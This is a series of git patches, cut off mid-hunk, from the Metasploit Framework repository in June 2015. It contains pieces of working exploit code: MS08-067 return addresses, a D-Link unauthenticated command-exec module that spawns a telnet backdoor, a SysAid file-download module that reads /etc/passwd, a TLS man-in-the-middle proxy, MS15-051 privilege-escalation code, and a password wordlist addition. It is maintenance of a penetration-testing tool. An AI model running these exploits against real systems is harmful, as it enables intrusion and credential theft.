a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb index d7b5aa499e..992459054c 100644 --- a/lib/metasploit/framework/login_scanner/mssql.rb +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -21,7 +21,7 @@ module Metasploit # Lifted from lib/msf/core/exploit/mssql.rb LIKELY_PORTS = [ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ] # Lifted from lib/msf/core/exploit/mssql.rb - LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase' ] + LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase', 'mssql' ] PRIVATE_TYPES = [ :password, :ntlm_hash ] REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN From b104155cf163f55d084b9e4897b24c831870d7fb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 19 Jun 2015 15:05:42 -0500 Subject: [PATCH 0476/1013] Do Metasploit::Model::Login::Status::UNTRIED --- modules/auxiliary/scanner/http/drupal_views_user_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 938f0f4718..705c8cea23 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, + status: Metasploit::Model::Login::Status::UNTRIED, }.merge(service_data) create_credential_login(login_data) From ef286fdfcf584be15bc13bc9cc2d3fbb15db867a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 19 Jun 2015 15:06:02 -0500 Subject: [PATCH 0477/1013] Remove report_auth_info --- modules/auxiliary/scanner/http/splunk_web_login.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index d4db7b12de..9f7e9a59ab 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -193,7 +193,6 @@ class Metasploit3 < Msf::Auxiliary report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass) - report_auth_info(report_hash) return :next_user rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT From 83427583eafc0c9758800a5725384fe69082ec1b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 19 Jun 2015 15:09:50 -0500 Subject: [PATCH 0478/1013] report_note for group info --- modules/auxiliary/scanner/http/cisco_ssl_vpn.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb index 5f14f63e63..e8b6a0e4ef 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -225,6 +225,7 @@ class Metasploit3 < Msf::Auxiliary do_logout(resp.get_cookies) report_cred(ip: rhost, port: rport, user: user, password: pass) + report_note(ip: rhost, type: 'cisco.cred.group', data: group) return :next_user else From b580f93c22242102e76007e389ba7a8965fed3e5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 19 Jun 2015 15:05:46 -0500 Subject: [PATCH 0479/1013] New password from Snowden --- data/wordlists/unix_passwords.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/wordlists/unix_passwords.txt b/data/wordlists/unix_passwords.txt index 02728bc293..08c9a5b1c5 100755 --- a/data/wordlists/unix_passwords.txt +++ b/data/wordlists/unix_passwords.txt @@ -1002,4 +1002,5 @@ sq!us3r adminpasswd raspberry 74k&^*nh#$ -arcsight \ No newline at end of file +arcsight +MargaretThatcheris110%SEXY From fa6e45964e87bbfbbdea04249beada94e76f9fd9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 15:38:26 -0500 Subject: [PATCH 0480/1013] Provide context to the note --- modules/auxiliary/scanner/http/cisco_ssl_vpn.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb index e8b6a0e4ef..145ef81c0a 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary do_logout(resp.get_cookies) report_cred(ip: rhost, port: rport, user: user, password: pass) - report_note(ip: rhost, type: 'cisco.cred.group', data: group) + report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}") return :next_user else From 61ad4ada7d0024afd64318afea02536a40bab181 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 16:03:16 -0500 Subject: [PATCH 0481/1013] Delete commas --- modules/exploits/windows/smb/ms08_067_netapi.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index ec7bd17085..61ce551f51 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -626,7 +626,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows 2003 SP1 French (NO NX)', { 'Ret' => 0x71ac1c40 , - 'Scratch' => 0x00020408, + 'Scratch' => 0x00020408 } ], # JMP ESI WS2HELP.DLL @@ -638,7 +638,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RetPop' => 0x7CB47CF4, # push ESI, pop EBP, ret 4 @SHELL32.DLL 'JmpESP' => 0x7C98FED3, # jmp ESP @NTDLL.DLL 'DisableNX' => 0x7C95E413, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, + 'Scratch' => 0x00020408 } ], @@ -722,7 +722,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows 2003 SP2 French (NO NX)', { 'Ret' => 0x71AC2069, - 'Scratch' => 0x00020408, + 'Scratch' => 0x00020408 } ], # CALL ESI WS2HELP.DLL @@ -734,7 +734,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RetPop' => 0x7CB3E84E, # push ESI, pop EBP, ret @SHELL32.DLL 'JmpESP' => 0x7C98A01B, # jmp ESP @NTDLL.DLL 'DisableNX' => 0x7C95F517, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, + 'Scratch' => 0x00020408 } ], From ee9830e2e946df75c63690dd3e8b6178185818b5 Mon Sep 17 00:00:00 2001 From: Trevor Rosen Date: Fri, 19 Jun 2015 17:10:02 -0500 Subject: [PATCH 0482/1013] Point MDM to branch for community verification MSP-12834 --- Gemfile | 2 ++ Gemfile.lock | 28 +++++++++++++++++----------- metasploit-framework-db.gemspec | 2 +- 3 files changed, 20 insertions(+), 12 deletions(-) diff --git a/Gemfile b/Gemfile index 225cadb5e1..4cced580c1 100755 --- a/Gemfile +++ b/Gemfile @@ -24,6 +24,8 @@ group :development do gem 'pry' end +gem 'metasploit_data_models', git: 'git@github.com:rapid7/metasploit_data_models', branch:'bug/MSP-12834/crawler-choke-on-save' + group :development, :test do # automatically include factories from spec/factories gem 'factory_girl_rails', '~> 4.5.0' diff --git a/Gemfile.lock b/Gemfile.lock index 20788623a7..1c2cb44943 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,3 +1,19 @@ +GIT + remote: git@github.com:rapid7/metasploit_data_models + revision: c36c800866d42187c21c1308a9bac5f3278d8aa3 + branch: bug/MSP-12834/crawler-choke-on-save + specs: + metasploit_data_models (1.2.4) + activerecord (>= 4.0.9, < 4.1.0) + activesupport (>= 4.0.9, < 4.1.0) + arel-helpers + metasploit-concern (~> 1.0) + metasploit-model (~> 1.0) + pg + postgres_ext + railties (>= 4.0.9, < 4.1.0) + recog (~> 2.0) + PATH remote: . specs: @@ -24,7 +40,6 @@ PATH activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (~> 1.0) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 1.2) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -124,16 +139,6 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.2) - metasploit_data_models (1.2.3) - activerecord (>= 4.0.9, < 4.1.0) - activesupport (>= 4.0.9, < 4.1.0) - arel-helpers - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) - pg - postgres_ext - railties (>= 4.0.9, < 4.1.0) - recog (~> 2.0) method_source (0.8.2) mime-types (2.4.3) mini_portile (0.6.2) @@ -238,6 +243,7 @@ DEPENDENCIES metasploit-framework! metasploit-framework-db! metasploit-framework-pcap! + metasploit_data_models! pry rake (>= 10.0.0) redcarpet diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index d64792775f..ecf71ac825 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -31,7 +31,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' + #spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails From d8e11789ea9b74f130c941a74cc7284c8ae17a98 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Sat, 20 Jun 2015 07:59:25 +0200 Subject: [PATCH 0483/1013] cmd_interact - first try --- .../http/dlink_dspw110_cookie_noauth_exec.rb | 81 +++++++++++++------ 1 file changed, 58 insertions(+), 23 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index b971cd2655..76ea25f2fa 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, @@ -33,6 +32,16 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC ], 'DisclosureDate' => 'Jun 12 2015', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ] @@ -40,6 +49,20 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0 )) + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + + end + + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i end def check @@ -76,33 +99,28 @@ class Metasploit3 < Msf::Exploit::Remote def handle_telnet(telnetport) - begin - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - if sock - print_good("#{peer} - Backdoor service spawned") - add_socket(sock) - else - fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") - end - - print_status "Starting a Telnet session #{rhost}:#{telnetport}" - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => nil, - 'PASSWORD' => nil - } - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) - rescue - fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled") + if sock + print_good("#{peer} - Backdoor service spawned") + add_socket(sock) + else + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") end - return + + print_status("#{peer} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Failure::Unknown, "#{peer} - Unable to establish a telnet session") + else + print_good("#{peer} - Telnet session successfully established...") + end + + handler(sock) end def execute_command(cmd) - begin res = send_request_cgi({ 'method' => 'GET', @@ -114,4 +132,21 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end + + # Since there isn't user/password negotiation, just wait until the prompt is there + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end end From cf8008ed38bc9c8230716735a325202e6e962164 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 20 Jun 2015 16:52:13 +0100 Subject: [PATCH 0484/1013] Update sysaid_admin_acct.rb --- modules/auxiliary/admin/http/sysaid_admin_acct.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb index 46958e7276..2b373dee5e 100644 --- a/modules/auxiliary/admin/http/sysaid_admin_acct.rb +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -27,9 +27,8 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2015-2993' ], - [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], - [ 'URL', 'TODO_FULLDISC_URL' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DisclosureDate' => 'Jun 3 2015')) From 3181d76e631d89348f8d94e1d47796cd32f4b4ff Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 20 Jun 2015 16:53:33 +0100 Subject: [PATCH 0485/1013] Update sysaid_auth_file_upload.rb --- modules/exploits/multi/http/sysaid_auth_file_upload.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb index 3f8868ba57..7424cdd581 100644 --- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -31,9 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2015-2994' ], - [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], - [ 'URL', 'TODO_FULLDISC_URL' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Privileged' => false, From 11aca8b27a10b56c8007f378382ce1bb3599a9c7 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 20 Jun 2015 16:54:33 +0100 Subject: [PATCH 0486/1013] Update sysaid_file_download.rb --- modules/auxiliary/admin/http/sysaid_file_download.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb index b331514831..a5ba1dc7b7 100644 --- a/modules/auxiliary/admin/http/sysaid_file_download.rb +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -32,10 +32,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2015-2996' ], [ 'CVE', '2015-2997' ], - [ 'OSVDB', 'TODO' ], - [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], - [ 'URL', 'TODO_FULLDISC_URL' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DisclosureDate' => 'Jun 3 2015')) @@ -43,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary [ OptPort.new('RPORT', [true, 'The target port', 8080]), OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), - OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with 4 back slashes)', '/etc/passwd']), + OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with a back slash)', '/etc/passwd']), ], self.class) end From 78c2f8a3a3897b827a3e06cab71e7d7c2f675598 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 20 Jun 2015 16:57:34 +0100 Subject: [PATCH 0487/1013] Update sysaid_sql_creds.rb --- modules/auxiliary/admin/http/sysaid_sql_creds.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb index de1024a397..7f0fe947c0 100644 --- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -30,10 +30,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2015-2996' ], [ 'CVE', '2015-2998' ], - [ 'OSVDB', 'TODO' ], - [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], - [ 'URL', 'TODO_FULLDISC_URL' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DisclosureDate' => 'Jun 3 2015')) From 50a3a32bfdb5e9caa76ace1d9677fa27cbeefe2f Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 20 Jun 2015 16:58:42 +0100 Subject: [PATCH 0488/1013] Update sysaid_sql_creds.rb --- modules/auxiliary/admin/http/sysaid_sql_creds.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb index 7f0fe947c0..ce617b5655 100644 --- a/modules/auxiliary/admin/http/sysaid_sql_creds.rb +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -115,8 +115,7 @@ class Metasploit3 < Msf::Auxiliary return end end - print_error("#{peer} - Failed to obtain database credentials, response was:") - print_line(res.body.to_s) + print_error("#{peer} - Failed to obtain database credentials, response was: #{res.body}") else print_error("#{peer} - Failed to obtain database credentials.") end From ea49fd2fdc7186aff61ad60febbb7170a35ebcb5 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 20 Jun 2015 16:59:28 +0100 Subject: [PATCH 0489/1013] Update sysaid_rdslogs_fle_upload.rb --- modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb index ce3fa0d722..d38a7b1687 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb @@ -34,9 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2015-2995' ], - [ 'OSVDB', 'TODO' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], - [ 'URL', 'FULLDISC_URL' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, From dabc7abae5e2d32ad895a32147f5ec90e0eb7e85 Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Sat, 20 Jun 2015 18:23:34 -0700 Subject: [PATCH 0490/1013] Change method names to lowercase --- modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb index 1f189ba8da..6c7ebfd47e 100644 --- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def PRF(secret, label, seed) + def prf(secret, label, seed) if secret.empty? s1 = s2 = '' else @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary result end - def PRF_SHA256(secret, label, seed) + def prf_sha256(secret, label, seed) hmac_hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_hash + label + seed) end @@ -153,10 +153,10 @@ class Metasploit3 < Msf::Auxiliary # message in plaintext. if fragment =~ /^\x0e\x00\x00\x00/ if header[2, 1] == "\x03" - verify_data = PRF_SHA256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages)) + verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages)) verify_data = verify_data[0, 12] else - verify_data = PRF('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages)) + verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages)) verify_data = verify_data[0, 12] end From 01e87282a9e4dd9437d2b2b0a34abb53bf7c713a Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Sat, 20 Jun 2015 18:48:10 -0700 Subject: [PATCH 0491/1013] Use Msf::ThreadManager#spawn --- modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb index 6c7ebfd47e..0ad9da6b76 100644 --- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -98,8 +98,10 @@ class Metasploit3 < Msf::Auxiliary proxy = TCPServer.new(local_host, local_port) print_status('Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]]) + thread_num = 0 + loop do - Thread.start(proxy.accept) do |client| + framework.threads.spawn("Thread #{thread_num += 1}", false, proxy.accept) do |client| #loop do finished_sent = false handshake_messages = '' From 7f55f6631cbceebbddacd9b63e986c1d1e8dcee6 Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Sat, 20 Jun 2015 20:14:47 -0700 Subject: [PATCH 0492/1013] Remove the timeout option --- modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb index 0ad9da6b76..5bbd2fb60a 100644 --- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -56,8 +56,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('HOST', [ true, 'The server address', nil]), OptString.new('PORT', [ true, 'The server port', 443]), OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']), - OptString.new('SRVPORT', [ true, 'The proxy port', 443]), - OptInt.new('TIMEOUT', [ true, 'The timeout, in seconds', 5]) + OptString.new('SRVPORT', [ true, 'The proxy port', 443]) ], self.class) end @@ -93,7 +92,6 @@ class Metasploit3 < Msf::Auxiliary local_host = datastore['SRVHOST'] local_port = datastore['SRVPORT'] port = datastore['PORT'] - timeout = datastore['TIMEOUT'] proxy = TCPServer.new(local_host, local_port) print_status('Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]]) @@ -120,14 +118,7 @@ class Metasploit3 < Msf::Auxiliary print_status('Connected to %s:%d' % [fake_host, fake_port]) - server = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM) - - begin - server.connect_nonblock(Socket.pack_sockaddr_in(port, host)) - - rescue IO::WaitWritable - raise Errno::ETIMEDOUT if IO.select(nil, [server], nil, timeout).nil? - end + server = TCPSocket.new(host, port) print_status('Connected to %s:%d' % [host, port]) From efece12b40d8c8e34f7209d42eb0cb7a7eb698c4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sun, 21 Jun 2015 16:07:44 -0400 Subject: [PATCH 0493/1013] Minor clean ups for ruby strings and check method --- .../local/ms15_051_client_copy_image.rb | 20 +++++++++---------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 02ce84169b..9a278c72ae 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -57,19 +57,17 @@ class Metasploit3 < Msf::Exploit::Local end def check - os = sysinfo["OS"] - - if os !~ /windows/i + if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown end - if sysinfo["Architecture"] =~ /(wow|x)64/i + if sysinfo['Architecture'] =~ /(wow|x)64/i arch = ARCH_X86_64 - elsif sysinfo["Architecture"] =~ /x86/i + elsif sysinfo['Architecture'] =~ /x86/i arch = ARCH_X86 end - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = expand_path('%windir%') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") @@ -83,15 +81,15 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::None, 'Session is already elevated') end - if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo["Architecture"] =~ /wow64/i + if sysinfo['Architecture'] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') - elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86 + elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') - elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64 + elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end From d73a3a4a5f37f6c5e586b35df63fe23630009f95 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sun, 21 Jun 2015 16:16:33 -0400 Subject: [PATCH 0494/1013] Dont call ExitProcess because it might kill the shell --- .../exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c index 637ddf7cd2..21d7503069 100755 --- a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c @@ -424,12 +424,10 @@ void win32k_client_copy_image(LPVOID lpPayload) RtlGetVersion(&osver); if (osver.dwBuildNumber > 7601) { - ExitProcess((UINT)-1); return; } if (supIsProcess32bit(GetCurrentProcess())) { - ExitProcess((UINT)-2); return; } @@ -444,7 +442,6 @@ void win32k_client_copy_image(LPVOID lpPayload) if (g_PsLookupProcessByProcessIdPtr == NULL) { - ExitProcess((UINT)-3); return; } @@ -496,7 +493,7 @@ void win32k_client_copy_image(LPVOID lpPayload) if (class_atom) UnregisterClass(MAKEINTATOM(class_atom), hinst); - ExitProcess(0); + return; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) From 7bda1e494b96522feb3868c656e5743477d2bb8b Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Sun, 21 Jun 2015 13:02:13 -0700 Subject: [PATCH 0495/1013] Use Rex::Socket::Tcp --- .../server/jsse_skiptls_mitm_proxy.rb | 25 +++++++++++++------ 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb index 5bbd2fb60a..b2e1f78e36 100644 --- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -109,16 +109,27 @@ class Metasploit3 < Msf::Auxiliary print_status('Accepted connection from %s:%d' % 